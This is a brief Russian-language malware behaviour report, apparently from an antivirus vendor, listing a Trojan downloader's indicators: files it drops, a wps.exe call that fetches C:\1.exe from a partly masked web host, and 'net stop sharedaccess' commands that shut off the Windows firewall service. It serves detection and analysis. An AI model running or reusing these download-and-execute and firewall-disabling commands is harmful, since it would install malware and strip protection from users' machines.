Техническая информация
- C:\1.exe
- <Текущая директория>\wps.exe -url="http://wg#.##nunion.com/tmp/1.exe" -param="" -s -local_dir="c:\"
- C:\1.exe (загружен из сети Интернет)
- <SYSTEM32>\net1.exe stop sharedaccess
- <SYSTEM32>\net.exe stop sharedaccess
- <Текущая директория>\wps.exe
- C:\1.exe.dt!
- <SYSTEM32>\PerfStringBackup.TMP
- %TEMP%\~DF9293.tmp
- 'wg#.##nunion.com':80
- wg#.##nunion.com/tmp/1.exe
- DNS ASK wg#.##nunion.com
- '<IP-адрес в локальной сети>':1037
- ClassName: 'Shell_TrayWnd' WindowName: ''